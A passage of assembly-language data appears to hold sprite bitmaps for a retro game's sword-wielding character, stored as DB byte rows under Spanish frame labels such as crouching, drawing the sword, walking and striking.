17, 17, 65, 17, 24, 0, 0, 0, 0 DB 170, 33, 17, 17, 17, 17, 132, 17, 1, 0, 0, 0 DB 26, 33, 17, 89, 154, 25, 17, 17, 23, 0, 0, 0 DB 26, 17, 146, 165, 170, 153, 17, 113, 119, 1, 0, 0 DB 145, 17, 145, 165, 170, 154, 17, 119, 119, 23, 0, 0 DB 145, 1, 16, 165, 170, 170, 25, 119, 151, 23, 0, 0 DB 16, 25, 17, 89, 170, 170, 154, 113, 153, 23, 0, 0 DB 0, 145, 153, 17, 89, 170, 154, 113, 151, 121, 1, 0 DB 0, 16, 17, 17, 145, 165, 154, 25, 151, 121, 1, 0 DB 0, 0, 0, 16, 89, 170, 154, 25, 151, 121, 1, 0 DB 0, 0, 0, 145, 165, 170, 153, 113, 153, 23, 0, 0 DB 0, 0, 16, 89, 153, 153, 25, 151, 121, 1, 0, 0 DB 0, 0, 145, 149, 17, 17, 113, 121, 17, 0, 0, 0 DB 0, 16, 89, 25, 0, 0, 145, 23, 0, 0, 0, 0 DB 0, 16, 165, 25, 0, 16, 119, 1, 0, 0, 0, 0 DB 0, 16, 165, 25, 0, 113, 23, 0, 0, 0, 0, 0 DB 0, 16, 165, 9, 0, 113, 119, 1, 0, 0, 0, 0 DB 0, 16, 169, 17, 1, 16, 119, 23, 0, 0, 0, 0 DB 0, 0, 81, 170, 25, 0, 113, 153, 1, 0, 0, 0 DB 0, 0, 145, 154, 26, 0, 16, 151, 25, 0, 0, 0 DB 0, 0, 16, 149, 26, 0, 0, 113, 153, 1, 0, 0 agacha: DB 0, 0, 0, 0, 0, 161, 145, 165, 169, 170, 170, 1 DB 0, 0, 0, 0, 0, 16, 170, 153, 170, 154, 154, 1 DB 0, 0, 0, 0, 0, 17, 161, 154, 154, 170, 169, 25 DB 0, 0, 0, 0, 16, 153, 25, 161, 170, 119, 17, 1 DB 0, 0, 0, 0, 145, 89, 154, 145, 170, 170, 153, 1 DB 0, 0, 0, 16, 153, 165, 170, 25, 170, 26, 26, 17 DB 0, 0, 0, 17, 89, 170, 170, 25, 169, 170, 153, 113 DB 0, 0, 16, 18, 89, 170, 170, 153, 161, 119, 17, 113 DB 0, 0, 33, 34, 145, 165, 154, 25, 17, 170, 25, 119 DB 0, 16, 34, 40, 145, 165, 153, 17, 23, 145, 33, 119 DB 0, 16, 130, 136, 145, 165, 170, 25, 119, 17, 33, 113 DB 0, 33, 130, 136, 145, 165, 170, 153, 113, 23, 33, 113 DB 0, 33, 136, 136, 145, 165, 170, 153, 113, 121, 33, 113 DB 0, 33, 130, 136, 145, 165, 154, 153, 113, 121, 33, 113 DB 0, 33, 34, 40, 145, 165, 154, 25, 151, 23, 34, 113 DB 16, 17, 33, 34, 18, 89, 153, 113, 119, 33, 34, 113 DB 145, 33, 17, 33, 18, 89, 170, 25, 23, 34, 34, 113 DB 25, 33, 17, 17, 17, 89, 170, 153, 17, 34, 34, 113 DB 25, 33, 17, 17, 25, 89, 170, 153, 113, 33, 34, 113 DB 25, 33, 17, 153, 25, 89, 170, 153, 113, 23, 17, 119 DB 25, 33, 145, 153, 26, 89, 154, 25, 119, 119, 17, 119 DB 145, 17, 146, 169, 170, 145, 149, 25, 119, 151, 23, 121 DB 16, 25, 17, 89, 165, 145, 149, 25, 119, 153, 23, 121 DB 0, 145, 17, 145, 89, 145, 149, 25, 151, 153, 23, 25 DB 0, 145, 17, 17, 145, 17, 89, 25, 151, 121, 17, 25 DB 16, 25, 17, 153, 153, 154, 145, 153, 145, 23, 113, 25 DB 145, 17, 153, 165, 25, 17, 17, 154, 113, 17, 151, 23 DB 25, 145, 85, 26, 1, 0, 16, 154, 17, 113, 121, 23 DB 25, 145, 165, 17, 1, 0, 81, 154, 17, 145, 119, 1 DB 165, 17, 153, 165, 26, 16, 165, 25, 17, 17, 23, 0 DB 81, 26, 89, 154, 26, 0, 17, 17, 23, 17, 1, 0 DB 16, 165, 17, 154, 26, 0, 0, 145, 121, 1, 0, 0 DB 0, 0, 0, 0, 0, 0, 81, 154, 170, 169, 89, 26 DB 0, 0, 0, 0, 0, 0, 81, 165, 169, 170, 154, 26 DB 0, 0, 0, 0, 0, 0, 16, 165, 169, 170, 170, 1 DB 0, 0, 0, 0, 0, 17, 17, 153, 170, 154, 154, 1 DB 0, 0, 0, 17, 17, 153, 153, 145, 154, 170, 169, 25 DB 0, 0, 16, 34, 145, 85, 154, 25, 169, 119, 17, 113 DB 0, 0, 33, 18, 89, 165, 170, 153, 161, 170, 153, 113 DB 0, 16, 34, 18, 89, 170, 170, 154, 161, 26, 26, 113 DB 0, 33, 34, 24, 89, 170, 170, 154, 161, 170, 153, 113 DB 0, 33, 130, 24, 89, 170, 170, 25, 161, 119, 17, 119 DB 16, 34, 136, 40, 145, 165, 153, 25, 145, 170, 25, 23 DB 16, 34, 136, 40, 145, 165, 154, 153, 17, 145, 17, 17 DB 33, 34, 136, 136, 145, 165, 170, 153, 113, 17, 18, 23 DB 33, 130, 136, 136, 145, 165, 170, 153, 113, 23, 18, 23 DB 33, 130, 136, 136, 145, 165, 170, 153, 113, 23, 18, 23 DB 33, 130, 136, 136, 18, 89, 154, 25, 119, 33, 18, 23 DB 33, 34, 34, 136, 18, 89, 153, 113, 119, 33, 18, 23 DB 17, 17, 33, 34, 18, 89, 154, 25, 17, 23, 18, 23 DB 33, 17, 17, 17, 18, 89, 170, 153, 113, 121, 17, 17 DB 33, 17, 17, 153, 25, 89, 170, 153, 113, 153, 23, 23 DB 41, 17, 153, 153, 169, 145, 165, 153, 113, 151, 23, 23 DB 25, 146, 153, 153, 170, 145, 165, 25, 119, 151, 23, 23 DB 25, 17, 153, 89, 85, 145, 165, 25, 119, 151, 23, 23 DB 145, 1, 17, 153, 153, 21, 169, 25, 119, 153, 23, 23 DB 16, 25, 0, 17, 17, 25, 169, 25, 151, 121, 113, 23 DB 0, 145, 17, 17, 153, 21, 169, 25, 151, 23, 113, 23 DB 0, 16, 145, 153, 165, 170, 145, 154, 113, 17, 17, 23 DB 16, 17, 89, 170, 26, 17, 85, 154, 17, 17, 145, 23 DB 145, 25, 25, 17, 1, 16, 165, 154, 1, 17, 121, 23 DB 165, 17, 85, 165, 26, 16, 169, 25, 1, 113, 119, 1 DB 165, 26, 89, 154, 26, 16, 153, 113, 23, 16, 23, 0 DB 81, 170, 145, 154, 26, 0, 17, 151, 23, 0, 1, 0 DB 145, 165, 154, 153, 33, 40, 17, 145, 33, 1, 0, 0 DB 145, 165, 170, 153, 33, 40, 113, 145, 33, 1, 0, 0 DB 145, 165, 170, 153, 33, 40, 113, 113, 33, 1, 0, 0 DB 145, 165, 170, 153, 33, 40, 17, 23, 33, 1, 0, 0 DB 145, 89, 170, 153, 33, 40, 113, 121, 17, 18, 0, 0 DB 16, 89, 154, 25, 130, 40, 113, 153, 23, 18, 0, 0 DB 16, 169, 153, 33, 136, 40, 113, 121, 23, 18, 0, 0 DB 16, 89, 170, 25, 130, 40, 113, 23, 23, 18, 0, 0 DB 0, 145, 170, 25, 130, 40, 113, 121, 17, 18, 1, 0 DB 0, 145, 165, 154, 33, 18, 17, 113, 17, 18, 23, 0 DB 0, 16, 169, 154, 17, 17, 132, 17, 17, 113, 23, 0 DB 0, 16, 89, 170, 25, 65, 17, 24, 17, 119, 23, 0 DB 0, 16, 145, 165, 121, 71, 65, 120, 23, 113, 153, 1 DB 0, 145, 17, 89, 154, 129, 17, 24, 17, 113, 153, 1 DB 0, 145, 17, 145, 170, 25, 136, 17, 17, 113, 153, 1 DB 0, 16, 25, 145, 170, 25, 17, 17, 113, 17, 23, 0 DB 0, 16, 25, 145, 165, 25, 17, 17, 119, 17, 1, 0 DB 0, 16, 25, 17, 153, 17, 25, 17, 119, 25, 0, 0 DB 0, 145, 17, 153, 17, 153, 153, 113, 119, 25, 0, 0 DB 16, 25, 16, 153, 153, 170, 153, 113, 151, 25, 0, 0 DB 145, 1, 16, 153, 170, 170, 154, 113, 153, 23, 0, 0 DB 145, 1, 145, 165, 170, 170, 25, 113, 121, 1, 0, 0 DB 145, 17, 89, 154, 17, 17, 17, 151, 23, 0, 0, 0 DB 16, 25, 89, 25, 0, 113, 119, 23, 1, 0, 0, 0 DB 16, 25, 169, 1, 0, 113, 23, 1, 0, 0, 0, 0 DB 17, 25, 169, 1, 0, 113, 25, 0, 0, 0, 0, 0 DB 165, 17, 169, 1, 0, 113, 25, 0, 0, 0, 0, 0 DB 165, 17, 169, 1, 0, 113, 151, 1, 0, 0, 0, 0 DB 165, 17, 169, 17, 1, 16, 151, 23, 0, 0, 0, 0 DB 26, 0, 81, 85, 26, 0, 113, 121, 1, 0, 0, 0 DB 1, 0, 145, 149, 26, 0, 16, 151, 23, 0, 0, 0 DB 0, 0, 16, 154, 26, 0, 16, 119, 121, 1, 0, 0 saca_espada: DB 0, 0, 33, 136, 136, 136, 18, 121, 113, 25, 18, 119 DB 0, 17, 17, 130, 136, 136, 18, 153, 151, 25, 18, 153 DB 16, 153, 17, 33, 136, 136, 18, 151, 153, 23, 18, 121 DB 145, 17, 25, 17, 34, 130, 18, 23, 17, 23, 18, 23 DB 25, 0, 145, 23, 17, 33, 17, 65, 24, 17, 17, 1 DB 25, 0, 17, 145, 23, 17, 17, 20, 129, 17, 1, 0 DB 25, 0, 17, 17, 145, 119, 121, 20, 132, 151, 1, 0 DB 25, 0, 17, 17, 17, 17, 17, 20, 129, 17, 0, 0 DB 145, 1, 17, 17, 17, 17, 17, 65, 24, 17, 0, 0 DB 16, 25, 17, 153, 25, 17, 17, 17, 17, 17, 0, 0 DB 16, 25, 145, 89, 154, 25, 17, 17, 17, 17, 0, 0 DB 16, 25, 145, 165, 170, 153, 17, 17, 17, 17, 0, 0 DB 145, 1, 145, 165, 170, 153, 25, 17, 17, 23, 0, 0 DB 25, 1, 145, 165, 170, 154, 25, 17, 113, 23, 0, 0 DB 165, 1, 145, 165, 170, 154, 25, 17, 119, 25, 0, 0 DB 165, 1, 145, 165, 170, 153, 17, 119, 151, 25, 0, 0 DB 165, 1, 145, 165, 170, 153, 113, 119, 153, 23, 0, 0 DB 161, 17, 89, 170, 153, 25, 113, 151, 121, 1, 0, 0 DB 16, 145, 165, 154, 25, 17, 113, 153, 23, 0, 0, 0 DB 16, 89, 154, 153, 1, 0, 145, 121, 1, 0, 0, 0 DB 16, 169, 25, 17, 0, 16, 151, 23, 0, 0, 0, 0 DB 0, 81, 153, 1, 0, 113, 121, 1, 0, 0, 0, 0 DB 0, 81, 154, 1, 0, 113, 25, 0, 0, 0, 0, 0 DB 0, 145, 154, 1, 0, 16, 25, 0, 0, 0, 0, 0 DB 0, 16, 165, 25, 0, 16, 121, 1, 0, 0, 0, 0 DB 0, 16, 165, 25, 0, 16, 151, 1, 0, 0, 0, 0 DB 0, 16, 165, 25, 0, 16, 151, 23, 0, 0, 0, 0 DB 0, 16, 169, 25, 0, 0, 145, 25, 0, 0, 0, 0 DB 0, 16, 89, 25, 1, 0, 113, 25, 0, 0, 0, 0 DB 0, 0, 81, 165, 26, 0, 16, 121, 1, 0, 0, 0 DB 0, 0, 145, 154, 26, 0, 16, 151, 23, 0, 0, 0 DB 0, 0, 16, 154, 26, 0, 16, 119, 121, 1, 0, 0 idle_espada: DB 16, 145, 153, 25, 17, 145, 25, 145, 169, 154, 153, 1 DB 0, 16, 17, 33, 145, 153, 170, 170, 170, 153, 17, 0 DB 0, 0, 33, 34, 145, 169, 154, 153, 153, 17, 0, 0 DB 0, 0, 17, 33, 18, 153, 153, 33, 18, 17, 0, 0 DB 0, 16, 114, 25, 17, 17, 17, 18, 129, 17, 0, 0 DB 0, 16, 18, 113, 151, 119, 121, 20, 136, 151, 0, 0 DB 0, 16, 18, 17, 17, 17, 17, 20, 129, 17, 0, 0 DB 0, 16, 34, 17, 17, 17, 17, 65, 24, 17, 0, 0 DB 0, 16, 33, 145, 153, 25, 17, 17, 17, 17, 0, 0 DB 0, 145, 17, 153, 153, 153, 17, 17, 17, 23, 0, 0 DB 16, 25, 145, 153, 165, 154, 25, 17, 113, 23, 0, 0 DB 16, 25, 145, 89, 170, 170, 25, 17, 119, 23, 0, 0 DB 145, 1, 145, 165, 170, 170, 25, 119, 151, 23, 0, 0 DB 145, 1, 145, 165, 170, 170, 25, 119, 151, 23, 0, 0 DB 145, 1, 145, 165, 170, 170, 25, 119, 151, 23, 0, 0 DB 16, 25, 145, 165, 170, 154, 25, 119, 153, 23, 0, 0 DB 16, 25, 145, 165, 170, 153, 17, 151, 153, 23, 0, 0 DB 16, 25, 89, 170, 154, 25, 113, 153, 121, 1, 0, 0 DB 81, 17, 89, 170, 25, 17, 119, 151, 23, 0, 0, 0 DB 165, 26, 89, 154, 1, 16, 119, 119, 1, 0, 0, 0 DB 165, 17, 89, 25, 0, 16, 119, 23, 0, 0, 0, 0 DB 170, 17, 89, 25, 0, 16, 119, 1, 0, 0, 0, 0 DB 26, 16, 89, 25, 0, 16, 119, 1, 0, 0, 0, 0 DB 1, 16, 89, 25, 0, 16, 119, 1, 0, 0, 0, 0 DB 0, 16, 89, 25, 0, 16, 151, 1, 0, 0, 0, 0 DB 0, 16, 89, 25, 0, 16, 151, 1, 0, 0, 0, 0 DB 0, 16, 89, 25, 0, 16, 151, 1, 0, 0, 0, 0 DB 0, 16, 89, 25, 0, 16, 151, 1, 0, 0, 0, 0 DB 0, 16, 89, 25, 1, 0, 113, 23, 0, 0, 0, 0 DB 0, 0, 145, 85, 26, 0, 16, 121, 1, 0, 0, 0 DB 0, 0, 145, 149, 26, 0, 16, 151, 23, 0, 0, 0 DB 0, 0, 16, 154, 26, 0, 0, 113, 121, 1, 0, 0 camina_espada: DB 0, 0, 145, 153, 25, 17, 17, 153, 145, 170, 154, 1 DB 0, 0, 16, 17, 33, 18, 153, 169, 170, 154, 25, 0 DB 0, 0, 0, 16, 34, 18, 153, 153, 153, 25, 17, 0 DB 0, 0, 0, 16, 17, 34, 145, 153, 33, 18, 17, 0 DB 0, 0, 0, 33, 121, 17, 17, 17, 18, 129, 17, 0 DB 0, 0, 0, 18, 17, 151, 119, 121, 18, 136, 151, 0 DB 0, 0, 16, 18, 17, 17, 17, 17, 20, 129, 17, 0 DB 0, 0, 16, 18, 17, 17, 17, 17, 65, 24, 17, 0 DB 0, 0, 17, 18, 17, 17, 17, 17, 17, 17, 17, 0 DB 0, 17, 153, 18, 145, 153, 17, 17, 17, 17, 23, 0 DB 16, 153, 17, 146, 153, 153, 25, 17, 17, 17, 23, 0 DB 145, 17, 16, 153, 89, 170, 153, 17, 17, 119, 23, 0 DB 25, 0, 16, 153, 165, 170, 154, 17, 119, 119, 23, 0 DB 25, 0, 0, 145, 89, 170, 170, 25, 119, 121, 1, 0 DB 25, 0, 0, 16, 89, 170, 170, 25, 119, 121, 1, 0 DB 145, 1, 0, 16, 153, 170, 170, 154, 113, 121, 1, 0 DB 16, 25, 0, 0, 145, 165, 170, 153, 145, 23, 0, 0 DB 0, 81, 1, 0, 145, 165, 170, 25, 119, 1, 0, 0 DB 16, 165, 1, 16, 145, 165, 154, 113, 23, 0, 0, 0 DB 16, 170, 1, 145, 85, 170, 25, 119, 1, 0, 0, 0 DB 81, 26, 16, 89, 170, 154, 17, 119, 1, 0, 0, 0 DB 17, 1, 0, 145, 165, 25, 16, 151, 1, 0, 0, 0 DB 0, 0, 0, 16, 89, 154, 17, 151, 1, 0, 0, 0 DB 0, 0, 0, 0, 145, 154, 17, 151, 1, 0, 0, 0 DB 0, 0, 0, 0, 16, 149, 17, 151, 1, 0, 0, 0 DB 0, 0, 0, 0, 16, 169, 25, 151, 1, 0, 0, 0 DB 0, 0, 0, 0, 0, 145, 25, 23, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 16, 149, 17, 0, 0, 0, 0 DB 0, 0, 0, 0, 0, 16, 169, 25, 1, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 161, 85, 26, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 145, 149, 26, 0, 0, 0 DB 0, 0, 0, 0, 0, 0, 16, 154, 26, 0, 0, 0 DB 0, 0, 16, 153, 153, 17, 17, 145, 25, 17, 169, 154 DB 0, 0, 0, 17, 17, 34, 145, 153, 170, 170, 154, 25 DB 0, 0, 0, 0, 33, 34, 145, 153, 153, 153, 25, 17 DB 0, 0, 0, 0, 17, 33, 18, 153, 25, 33, 18, 17 DB 0, 0, 0, 16, 114, 25, 17, 17, 17, 18, 129, 17 DB 0, 0, 0, 16, 18, 113, 151, 119, 121, 20, 136, 151 DB 0, 0, 0, 16, 18, 17, 17, 17, 17, 20, 129, 17 DB 0, 0, 0, 16, 18, 17, 17, 17, 17, 65, 24, 17 DB 0, 0, 17, 17, 18, 17, 17, 17, 17, 17, 17, 17 DB 0, 17, 153, 25, 18, 17, 153, 25, 17, 17, 17, 17 DB 16, 153, 17, 17, 18, 153, 169, 154, 17, 17, 113, 23 DB 145, 17, 0, 0, 145, 153, 165, 154, 17, 17, 119, 23 DB 25, 0, 0, 0, 145, 89, 170, 154, 17, 17, 119, 25 DB 25, 0, 0, 0, 16, 89, 170, 170, 25, 119, 151, 23 DB 25, 0, 0, 0, 16, 89, 170, 170, 25, 119, 153, 1 DB 145, 1, 0, 0, 16, 89, 170, 170, 25, 119, 153, 1 DB 16, 25, 0, 0, 16, 89, 170, 170, 25, 151, 121, 1 DB 0, 81, 1, 0, 145, 165, 170, 170, 25, 151, 23, 0 DB 16, 165, 1, 0, 145, 165, 170, 154, 25, 119, 1, 0 DB 16, 170, 1, 0, 145, 149, 153, 153, 113, 23, 0, 0 DB 81, 26, 0, 0, 16, 169, 25, 17, 119, 23, 0, 0 DB 17, 1, 0, 0, 0, 161, 25, 16, 119, 1, 0, 0 DB 0, 0, 0, 0, 0, 81, 25, 16, 151, 1, 0, 0 DB 0, 0, 0, 0, 0, 81, 25, 16, 151, 1, 0, 0 DB 0, 0, 0, 0, 0, 145, 25, 16, 151, 1, 0, 0 DB 0, 0, 0, 0, 0, 16, 26, 16, 151, 1, 0, 0 DB 0, 0, 0, 0, 0, 16, 21, 16, 151, 1, 0, 0 DB 0, 0, 0, 0, 0, 16, 149, 17, 151, 1, 0, 0 DB 0, 0, 0, 0, 0, 16, 169, 25, 113, 23, 0, 0 DB 0, 0, 0, 0, 0, 0, 161, 85, 25, 121, 1, 0 DB 0, 0, 0, 0, 0, 0, 145, 149, 26, 151, 23, 0 DB 0, 0, 0, 0, 0, 0, 16, 154, 26, 113, 121, 1 DB 16, 153, 153, 17, 17, 145, 25, 145, 169, 122, 1, 0 DB 0, 17, 17, 34, 145, 153, 170, 170, 154, 25, 0, 0 DB 0, 0, 33, 34, 145, 153, 153, 153, 25, 17, 0, 0 DB 0, 0, 17, 33, 18, 153, 25, 33, 18, 17, 0, 0 DB 0, 16, 114, 25, 17, 17, 17, 18, 129, 17, 0, 0 DB 0, 16, 18, 113, 151, 119, 121, 20, 136, 151, 0, 0 DB 0, 16, 18, 17, 17, 17, 17, 20, 129, 17, 0, 0 DB 0, 16, 18, 17, 17, 17, 17, 65, 24, 17, 0, 0 DB 0, 16, 18, 17, 153, 25, 17, 17, 17, 17, 0, 0 DB 0, 145, 17, 153, 153, 153, 17, 17, 17, 23, 0, 0 DB 16, 25, 145, 153, 165, 154, 25, 17, 17, 23, 0, 0 DB 16, 25, 145, 89, 170, 170, 25, 17, 113, 23, 0, 0 DB 145, 1, 145, 165, 170, 170, 25, 17, 119, 23, 0, 0 DB 145, 1, 145, 165, 170, 170, 25, 119, 119, 23, 0, 0 DB 145, 1, 145, 165, 170, 154, 25, 119, 119, 23, 0, 0 DB 16, 25, 145, 165, 170, 154, 113, 151, 121, 23, 0, 0 DB 16, 25, 145, 165, 170, 153, 113, 153, 153, 23, 0, 0 DB 16, 25, 145, 165, 154, 25, 113, 153, 121, 1, 0, 0 DB 81, 17, 89, 170, 25, 17, 119, 153, 23, 0, 0, 0 DB 165, 26, 89, 154, 1, 16, 119, 121, 1, 0, 0, 0 DB 165, 17, 89, 25, 0, 16, 151, 23, 0, 0, 0, 0 DB 170, 17, 89, 25, 0, 16, 151, 1, 0, 0, 0, 0 DB 26, 16, 89, 25, 0, 16, 151, 1, 0, 0, 0, 0 DB 1, 16, 89, 25, 0, 16, 151, 1, 0, 0, 0, 0 DB 0, 16, 89, 25, 0, 16, 151, 1, 0, 0, 0, 0 DB 0, 16, 89, 25, 0, 16, 151, 1, 0, 0, 0, 0 DB 0, 16, 89, 25, 0, 16, 151, 1, 0, 0, 0, 0 DB 0, 16, 89, 25, 0, 16, 119, 25, 0, 0, 0, 0 DB 0, 16, 89, 25, 1, 0, 113, 25, 0, 0, 0, 0 DB 0, 0, 161, 85, 25, 0, 16, 119, 1, 0, 0, 0 DB 0, 0, 145, 149, 26, 0, 16, 151, 23, 0, 0, 0 DB 0, 0, 16, 154, 26, 0, 0, 113, 121, 1, 0, 0 espada_golpealto: DB 0, 16, 17, 0, 0, 33, 136, 136, 40, 17, 1, 0 DB 0, 145, 153, 1, 0, 33, 136, 136, 40, 113, 1, 0 DB 16, 25, 17, 25, 16, 34, 136, 136, 40, 113, 23, 0 DB 145, 1, 0, 145, 33, 130, 136, 136, 34, 113, 23, 0 DB 25, 0, 0, 16, 34, 34, 130, 136, 34, 113, 23, 0 DB 25, 0, 0, 33, 18, 17, 34, 40, 18, 113, 23, 0 DB 25, 0, 16, 18, 17, 17, 33, 34, 18, 17, 17, 0 DB 145, 1, 33, 17, 145, 25, 17, 34, 17, 65, 24, 0 DB 16, 25, 33, 145, 153, 153, 17, 17, 17, 20, 24, 0 DB 0, 145, 17, 153, 153, 153, 25, 17, 65, 129, 1, 0 DB 0, 145, 145, 153, 165, 154, 25, 17, 129, 24, 0, 0 DB 16, 145, 145, 89, 170, 170, 25, 17, 17, 17, 0, 0 DB 81, 25, 145, 89, 170, 170, 25, 17, 17, 17, 0, 0 DB 165, 1, 145, 165, 170, 170, 25, 17, 17, 113, 1, 0 DB 170, 1, 17, 89, 170, 170, 25, 17, 17, 119, 23, 0 DB 21, 0, 17, 89, 170, 170, 25, 17, 113, 119, 119, 1 DB 161, 17, 153, 89, 170, 170, 25, 17, 119, 151, 121, 1 DB 16, 145, 153, 153, 170, 170, 25, 16, 119, 153, 153, 23 DB 0, 145, 149, 17, 169, 154, 1, 16, 151, 153, 153, 23 DB 0, 145, 165, 1, 145, 25, 0, 16, 151, 153, 121, 1 DB 0, 16, 169, 1, 16, 1, 0, 0, 113, 121, 17, 0 DB 0, 16, 89, 1, 0, 0, 0, 0, 113, 121, 1, 0 DB 0, 16, 89, 1, 0, 0, 0, 0, 113, 121, 1, 0 DB 0, 16, 89, 1, 0, 0, 0, 0, 16, 121, 1, 0 DB 0, 16, 89, 1, 0, 0, 0, 0, 16, 121, 1, 0 DB 0, 16, 169, 1, 0, 0, 0, 0, 16, 151, 23, 0 DB 0, 16, 169, 25, 0, 0, 0, 0, 0, 113, 23, 0 DB 0, 16, 153, 153, 1, 0, 0, 0, 0, 16, 121, 1 DB 0, 0, 145, 85, 25, 0, 0, 0, 0, 16, 151, 23 DB 0, 0, 145, 85, 26, 0, 0, 0, 0, 0, 113, 121 DB 0, 0, 16, 149, 26, 0, 0, 0, 0, 0, 16, 17 DB 0, 0, 16, 154, 26, 0, 0, 0, 0, 0, 0, 0 DB 160, 0, 0, 0, 0, 0, 81, 154, 170, 169, 89, 26 DB 0, 0, 0, 0, 0, 0, 81, 165, 169, 170, 154, 26 DB 0, 0, 0, 0, 0, 0, 16, 165, 169, 170, 170, 1 DB 0, 0, 0, 0, 0, 17, 17, 153, 170, 154, 154, 1 DB 0, 0, 0, 17, 17, 153, 25, 145, 154, 170, 169, 25 DB 0, 0, 16, 34, 145, 89, 154, 25, 169, 119, 17, 113 DB 0, 0, 33, 24, 153, 165, 170, 153, 161, 170, 153, 113 DB 0, 16, 130, 24, 89, 170, 170, 154, 161, 26, 26, 113 DB 0, 33, 136, 18, 89, 170, 170, 153, 161, 170, 153, 113 DB 0, 33, 136, 18, 89, 170, 154, 25, 161, 119, 17, 113 DB 16, 130, 136, 40, 145, 165, 153, 25, 145, 170, 25, 119 DB 16, 130, 34, 130, 145, 165, 154, 17, 23, 145, 17, 151 DB 33, 34, 17, 33, 18, 169, 170, 25, 119, 17, 18, 151 DB 33, 17, 17, 17, 18, 89, 170, 153, 113, 39, 17, 151 DB 18, 17, 145, 153, 17, 145, 170, 153, 17, 18, 113, 151 DB 18, 17, 89, 154, 25, 145, 165, 154, 41, 17, 119, 151 DB 18, 145, 165, 170, 153, 17, 89, 170, 25, 0, 113, 151 DB 18, 89, 170, 170, 154, 17, 89, 170, 25, 0, 16, 151 DB 18, 89, 170, 170, 154, 25, 145, 165, 153, 1, 0, 113 DB 145, 145, 165, 170, 170, 153, 17, 89, 170, 25, 0, 16 DB 25, 16, 89, 170, 170, 154, 17, 145, 170, 154, 1, 16 DB 25, 0, 145, 89, 170, 154, 25, 17, 89, 170, 25, 16 DB 25, 0, 16, 145, 165, 170, 25, 23, 145, 165, 26, 16 DB 145, 1, 0, 16, 89, 154, 25, 119, 17, 153, 154, 17 DB 16, 25, 0, 145, 165, 153, 113, 119, 119, 17, 89, 154 DB 0, 145, 17, 89, 154, 25, 113, 119, 119, 119, 145, 165 DB 0, 16, 89, 154, 153, 17, 119, 151, 153, 121, 17, 169 DB 16, 145, 149, 25, 17, 17, 119, 25, 153, 121, 1, 145 DB 81, 154, 26, 17, 1, 0, 113, 25, 113, 119, 1, 16 DB 165, 17, 169, 85, 25, 0, 16, 119, 17, 17, 0, 0 DB 165, 26, 145, 149, 26, 0, 16, 151, 23, 0, 0, 0 DB 81, 170, 17, 154, 26, 0, 0, 113, 121, 1, 0, 0 DB 0, 0, 0, 0, 0, 0, 85, 85, 102, 102, 86, 5 DB 0, 0, 0, 0, 0, 0, 85, 101, 102, 102, 102, 5 DB 0, 0, 0, 0, 0, 0, 85, 102, 102, 102, 102, 5 DB 0, 0, 0, 0, 0, 0, 101, 102, 102, 102, 102, 6 DB 0, 0, 0, 0, 0, 0, 102, 102, 102, 102, 102, 6 DB 1, 0, 0, 0, 0, 0, 102, 102, 102, 102, 102, 6 DB 1, 0, 0, 0, 0, 0, 102, 102, 102, 102, 102, 6 DB 1, 0, 0, 0, 0, 0, 102, 102, 102, 102, 102, 102 DB 1, 0, 0, 0, 0, 0, 102, 102, 102, 102, 102, 102 DB 1, 0, 0, 0, 0, 0, 102, 102, 102, 102, 102, 102 DB 1, 0, 0, 0, 0, 0, 102, 102, 102, 102, 102, 102 DB 1, 0, 0, 0, 0, 96, 102, 102, 102, 102, 102, 102 DB 1, 0, 0, 0, 0, 96, 102, 102, 102, 102, 102, 102 DB 1, 0, 0, 0, 0, 96, 102, 102, 102, 102, 102, 102 DB 23, 0, 0, 0, 0, 96, 102, 102, 102, 102, 102, 102 DB 23, 0, 0, 0, 0, 96, 102, 102, 102, 102, 102, 102 DB 25, 0, 0, 0, 0, 96, 102, 102, 102, 102, 102, 102 DB 25, 0, 0, 0, 0, 96, 102, 102, 102, 102, 102, 102 DB 25, 0, 0, 0, 0, 102, 102, 102, 102, 102, 102, 102 DB 25, 0, 0, 0, 0, 102, 102, 102, 102, 102, 102, 102 DB 121, 1, 0, 0, 0, 102, 102, 102, 102, 102, 102, 102 DB 119, 1, 0, 0, 0, 102, 102, 102, 102, 102, 102, 102 DB 119, 1, 0, 0, 0, 102, 102, 102, 102, 102, 102, 102 DB 17, 1, 0, 0, 0, 102, 102, 102, 102, 102, 102, 102 DB 153, 17, 1, 0, 0, 102, 102, 102, 102, 102, 102, 102 DB 25, 68, 22, 17, 17, 102, 102, 102, 102, 102, 102, 102 DB 153, 136, 72, 68, 102, 17, 97, 102, 102, 102, 102, 102 DB 25, 17, 129, 136, 72, 100, 22, 17, 17, 17, 17, 102 DB 1, 0, 16, 17, 136, 72, 66, 134, 40, 100, 134, 97 DB 0, 0, 0, 0, 17, 129, 130, 72, 66, 100, 70, 24 DB 0, 0, 0, 0, 0, 16, 17, 136, 130, 136, 136, 24 DB 0, 0, 0, 0, 0, 0, 0, 17, 17, 136, 136, 1 DB 145, 165, 154, 153, 33, 40, 17, 145, 33, 129, 130, 24 DB 145, 165, 170, 153, 33, 40, 113, 145, 33, 129, 38, 1 DB 145, 165, 170, 153, 33, 40, 113, 113, 17, 104, 136, 1 DB 145, 165, 170, 153, 33, 40, 17, 23, 17, 132, 24, 0 DB 145, 89, 170, 153, 33, 40, 113, 121, 97, 130, 1, 0 DB 16, 89, 154, 25, 130, 40, 113, 25, 70, 18, 0, 0 DB 16, 169, 153, 33, 136, 40, 113, 97, 132, 24, 0, 0 DB 16, 89, 170, 25, 130, 40, 113, 65, 136, 17, 0, 0 DB 0, 145, 170, 25, 130, 40, 17, 70, 24, 18, 1, 0 DB 0, 145, 165, 154, 33, 18, 97, 132, 24, 18, 23, 0 DB 0, 16, 169, 154, 17, 17, 70, 136, 17, 113, 23, 0 DB 0, 16, 89, 170, 25, 17, 132, 24, 17, 119, 23, 0 DB 0, 16, 145, 165, 121, 65, 132, 113, 23, 113, 153, 1 DB 0, 145, 17, 89, 154, 129, 24, 17, 17, 113, 153, 1 DB 0, 145, 17, 145, 170, 25, 17, 17, 17, 113, 153, 1 DB 0, 16, 25, 145, 170, 25, 17, 17, 113, 17, 23, 0 DB 0, 16, 25, 145, 165, 25, 17, 17, 119, 17, 1, 0 DB 0, 16, 25, 17, 153, 17, 25, 17, 119, 25, 0, 0 DB 0, 145, 17, 153, 17, 153, 153, 113, 119, 25, 0, 0 DB 16, 25, 16, 153, 153, 170, 153, 113, 151, 25, 0, 0 DB 145, 1, 16, 153, 170, 170, 154, 113, 153, 23, 0, 0 DB 145, 1, 